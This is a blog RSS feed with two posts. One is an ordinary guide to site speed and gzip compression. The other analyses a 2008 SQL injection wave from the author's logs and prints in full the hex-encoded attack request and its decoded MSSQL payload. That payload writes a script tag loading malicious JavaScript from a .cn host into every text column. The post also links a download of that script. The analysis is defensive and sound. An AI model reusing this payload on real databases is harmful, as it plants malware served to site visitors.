<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>internet mix &#187; analytics</title>
	<atom:link href="http://blog.ninanet.com/tag/analytics/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ninanet.com</link>
	<description>where&#039;s the salt?</description>
	<lastBuildDate>Wed, 07 Dec 2011 01:19:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Site Speed: The new Google ranking factor</title>
		<link>http://blog.ninanet.com/2010/04/16/site-speed-ranking-factor-for-google</link>
		<comments>http://blog.ninanet.com/2010/04/16/site-speed-ranking-factor-for-google#comments</comments>
		<pubDate>Fri, 16 Apr 2010 13:43:14 +0000</pubDate>
		<dc:creator>nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[news mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[asynchronous tracking]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[deflate]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[gzip]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[ranking]]></category>
		<category><![CDATA[site speed]]></category>

		<guid isPermaLink="false">http://blog.ninanet.com/?p=677</guid>
		<description><![CDATA[
Although announced back in November of 2009 (Site Speed, Google’s Next Ranking Factor), it seems like this update has been overlooked by most webmasters, site owners and a lot of SEO-ers.
In a Webmaster Central Blog entry (Using site speed in web search ranking) dated Fri, Apr 9 2010, they finally made it official.
So give your [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.ninanet.com/wp-content/uploads/2010/04/google_sm.gif" alt="Google" title="Google" width="143" height="59" class="alignnone size-full wp-image-683" /><br />
Although announced back in November of 2009 (<a href=" http://searchengineland.com/site-speed-googles-next-ranking-factor-29793" target='swin'>Site Speed, Google’s Next Ranking Factor</a>), it seems like this update has been overlooked by most webmasters, site owners and a lot of SEO-ers.</p>
<p>In a Webmaster Central Blog entry (<a href="http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" target='swin' rel='nofollow'>Using site speed in web search ranking</a>) dated Fri, Apr 9 2010, they finally made it official.</p>
<p>So give your pages a little overhaul and get them up to speed!</p>
<div style='clear:left'></div>
<p><span id="more-677"></span><br />
Following is a selection of tools and options you can use to increase your page&#8217;s speed:</p>
<div style='height:16px'></div>
<p><strong>Speed Testing:</strong></p>
<p>Download and install Google&#8217;s <a href="http://code.google.com/speed/page-speed/" target='swin' rel='nofollow'>Page Speed</a> tool for Firefox and run it to get an idea of what can be optimized.<br />
<img src="http://blog.ninanet.com/wp-content/uploads/2010/04/page_speed.jpg" alt="Page Speed" title="Page Speed" width="563" height="596" class="aligncenter size-full wp-image-700"  style='border:1px solid #cecece; margin:10px 0'/></p>
<div style='height:2px; clear:both;'></div>
<p>After:<br />
<img src="http://blog.ninanet.com/wp-content/uploads/2010/04/page_speed_after.jpg" alt="PageSpeed after optimization" title="PageSpeed after optimization" width="553" height="597" class="alignleft size-full wp-image-735"  style='border:1px solid #cecece; margin:10px 0' /></p>
<div style='height:2px; clear:both;'></div>
<p>Install the <a href="https://addons.mozilla.org/en-US/firefox/addon/60" target='swin' rel='nofollow'>Web Developer</a> Add-On for Firefox and check the document size (Web Developer &gt; Information &gt; View Document Size):<br />
<img src="http://blog.ninanet.com/wp-content/uploads/2010/04/webdev-size.jpg" alt="WebDeveloper Document Size" title="WebDeveloper Document Size" width="436" height="231" class="alignleft size-full wp-image-728"  style='border:1px solid #cecece; margin:10px 0'/></p>
<div style='height:2px; clear:both;'></div>
<p>After:<br />
<img src="http://blog.ninanet.com/wp-content/uploads/2010/04/webdev-size-after.jpg" alt="WebDeveloper after optimization" title="WebDeveloper after optimization" width="426" height="240" class="alignleft size-full wp-image-736"  style='border:1px solid #cecece; margin:10px 0' /></p>
<div style='height:2px; clear:both;'></div>
<p>Or try Zoompf&#8217;s performance tester: <a href="http://zoompf.com/" target='swin' rel='nofollow'>http://zoompf.com</a>. It returns a long list of issues including solutions.</p>
<div style='height:16px'></div>
<p><strong>Compression:</strong><br />
Chances are all speed testing tools will tell you to enable (gzip) compression if you haven&#8217;t already done so.<br />
To check if your site currently has compression enabled, check out GIDNetwork&#8217;s web page compression / deflate / gzip test tool: <a href="http://www.gidnetwork.com/tools/gzip-test.php" target='swin' rel='nofollow'>http://www.gidnetwork.com/tools/gzip-test.php</a></p>
<p></p>
<p>To enable compression, you can either add a couple of directives to your .htaccess file, or add one single line of PHP to your page:</p>
<p>.htaccess:</p>
<pre>
&lt;Files *.htm&gt;
SetOutputFilter DEFLATE
&lt;/Files&gt;
</pre>
<p>This directive compresses all *.htm files.<br />
To add compression for other file types, simply add more file types to your .htaccess file:</p>
<pre>
&lt;Files *.css&gt;
SetOutputFilter DEFLATE
&lt;/Files&gt;
</pre>
<p>If you don&#8217;t have access to your .htaccess file or if your server doesn&#8217;t support <a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" target='swin' rel='nofollow'>mod_deflate</a>, add this line of PHP code to your page(s):</p>
<pre>
&lt;?
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip'))
    ob_start("ob_gzhandler");
    else ob_start();
?&gt;
</pre>
<p>What it does is to check for the presence of &quot;Accept-encoding: gzip&quot; in the request header and returns a gzipped version of the requested file, otherwise it returns the regular (uncompressed) version.<br />
<em><small>(Note: We don&#8217;t have .NET or .ASP or IIS solutions. Please don&#8217;t ask.)</small></em></p>
<div style='height:16px'></div>
<p><strong>Deferred JavaScript Loading/Asynchronous Tracking:</strong><br />
If you are using Google Analytics, there is yet another little trick. Have you noticed the new &quot;<a href="http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html" target='swin' rel='nofollow'>Asynchronous Tracking</a>&quot; in your Analytics settings? Google announced it in December 2009 (<a href="http://googlecode.blogspot.com/2009/12/google-analytics-launches-asynchronous.html" target='swin' rel='nofollow'>Google Analytics Launches Asynchronous Tracking</a>), and you can find it under   Analytics Settings  &gt;  Profile Settings  &gt;  Tracking Code </p>
<p>Replace your existing Google Analytics code with the new code and it won&#8217;t delay rendering of the page, meaning you can put it in a higher spot in your page&#8217;s code.</p>
<div style='height:16px'></div>
<p>Tools (Firefox addons &#8211; require Firebug):<br />
YSlow: <a href="http://developer.yahoo.com/yslow/" target='swin' rel='nofollow'>http://developer.yahoo.com/yslow/</a><br />
PageSpeed: <a href="http://code.google.com/speed/page-speed/" target='swin' rel='nofollow'>http://code.google.com/speed/page-speed/</a><br />
Web Developer Add-on: <a href="https://addons.mozilla.org/en-US/firefox/addon/60" target='swin' rel='nofollow'>https://addons.mozilla.org/en-US/firefox/addon/60</a> </p>
<div style='height:16px'></div>
<p>Online tools:<br />
Slowshow: <a href="http://www.showslow.com/" target='swin' rel='nofollow'>http://www.showslow.com/</a><br />
GIDNetwork: <a href="http://www.gidnetwork.com/tools/gzip-test.php" target='swin' rel='nofollow'>http://www.gidnetwork.com/tools/gzip-test.php</a><br />
Zoompf: <a href="http://zoompf.com/" target='swin' rel='nofollow'>http://zoompf.com/</a><br />
Webpagetest: <a href="http://www.webpagetest.org/test" target='swin' rel='nofollow'>http://www.webpagetest.org/test</a></p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2010%2F04%2F16%2Fsite-speed-ranking-factor-for-google" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like2"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2010%2F04%2F16%2Fsite-speed-ranking-factor-for-google show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2010/04/16/site-speed-ranking-factor-for-google/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>SQL injection attacks: no end in sight?</title>
		<link>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight</link>
		<comments>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight#comments</comments>
		<pubDate>Sat, 23 Aug 2008 07:47:00 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Just when I thought it would be over, there seems to be yet another massive wave of SQL injection attacks &#8211; presumably from newly infected servers.
UPDATE (8-23-2008): Looking for answers? Check Part 2
UPDATE (8-25-2008): Securing your forms to prevent future attacks 

I am not worried, but I am annoyed. Because all these attempts seriously taint [...]]]></description>
			<content:encoded><![CDATA[<p>Just when I thought it would be over, there seems to be yet another massive wave of SQL injection attacks &#8211; presumably from newly infected servers.</p>
<p><strong>UPDATE (8-23-2008):</strong> Looking for answers? <a href="http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers">Check Part 2</a><br />
<strong>UPDATE (8-25-2008):</strong> <a href="http://blog.ninanet.com/2008/08/25/sql-injection-attacks-part-3-securing-yo">Securing your forms to prevent future attacks </a></p>
<p><span id="more-12"></span><br />
I am not worried, but I am <em>annoyed</em>. Because all these attempts seriously taint our log files and our analytics results. Besides causing unnecessary traffic.</p>
<p>But I am also very curious by nature and had an hour or so to kill, so I decided to look into it a bit.</p>
<p>Take the query string and translate it into human-readable format:</p>
<pre>
"GET /myfile.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44
45434C415245204054207661726368617228323535292C4043207661726
3686172283430303029204445434C415245205461626C655F437572736F72204
35552534F5220464F522073656C65637420612E6E616D652C622E6E616D65206
6726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776
865726520612E69643D622E696420616E6420612E78747970653D27752720616
E642028622E78747970653D3939206F7220622E78747970653D3335206F72206
22E78747970653D323331206F7220622E78747970653D31363729204F50454E2
05461626C655F437572736F72204645544348204E4558542046524F4D2020546
1626C655F437572736F7220494E544F2040542C4043205748494C45284040464
55443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F74697
46C653E3C736372697074207372633D22687474703A2F2F777777302E646F756
8756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C6
96B6520272725223E3C2F7469746C653E3C736372697074207372633D2268747
4703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A732
23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524
F4D20205461626C655F437572736F7220494E544F2040542C404320454E44204
34C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1"</pre>
<p>The Query String uses CAST to hide the actual SQL statement in hexadecimal code, so in order to *read* it, we need to translate the CAST content (everything else should be fairly easy to translate &#8211; %20 = space, etc).</p>
<p>The easiest way to do it is by using perl:</p>
<pre  class="brush:sql">perl -pe 's/([A-Fa-f0-9][A-Fa-f0-9])/chr(hex($1))/ge' &lt; in &gt; out</pre>
<p>The output is:</p>
<pre class="brush:sql; auto-links:false">DECLARE @S CHAR(4000);SET@S=DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''+['+@C+'] where '+@C+' not like ''%"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS CHAR(4000));EXEC(@S)</pre>
<p>(Of course sysobjects and syscolumns are tables found on MSSQL servers)<br />
</p>
<p>Other query strings found in our logs translated to other domain names, so far all of them were Chinese (.cn) TLDs, and all of them pointing to a script w.js in the directory /csrss (www2.1000ylc.cn/,sdo.1000mg.cn/, and others).</p>
<p>The host IP addresses could be traced to locations all over the world, and whether they&#8217;re legitimate or not doesn&#8217;t really matter.</p>
<p>If we try to access the above domain www0.douhunqn.cn, Firefox greets us with the following message:</p>
<div class="image_block"><img src="http://blog.ninanet.com/media/users/nina/attack-site.jpg" alt="Reported Attack Site" title="Reported Attack Site" width="500" height="239" /></div>
<p>If you don&#8217;t know what you&#8217;re doing, I would strongly suggest that you DON&#8217;T try to access the site &#8212; I have a screenshot of the script here (click the image for a larger version):
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/script-lg.jpg" rel="wp-prettyPhoto[g12]"><img src="http://blog.ninanet.com/media/users/nina/script-sm.jpg" alt="" title="" width="500" height="382" /></a></div>
<p>But you can download a copy of the script (zipped) here (don&#8217;t say we didn&#8217;t warn you if something goes wrong) and trace all the URLs it is loading and accessing,  check all the iframes it is generating and the files it is trying to download:<br />
<a href="http://ninanet.com/downloads.php?dl=5">JavaScript File</a></p>
<p>The above is only one of many sites being used as the host for those malicious scripts, just <a href="http://www.google.com/search?hl=en&amp;client=firefox-a&amp;channel=s&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;q=www0.douhunqn.cn%2Fcsrss%2F&amp;btnG=Search" target='extern'>Google the strings used in either the script or the SQL statement</a> and you will see quite a bunch of infected pages.</p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-no-end-in-sight" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like4"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-no-end-in-sight show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
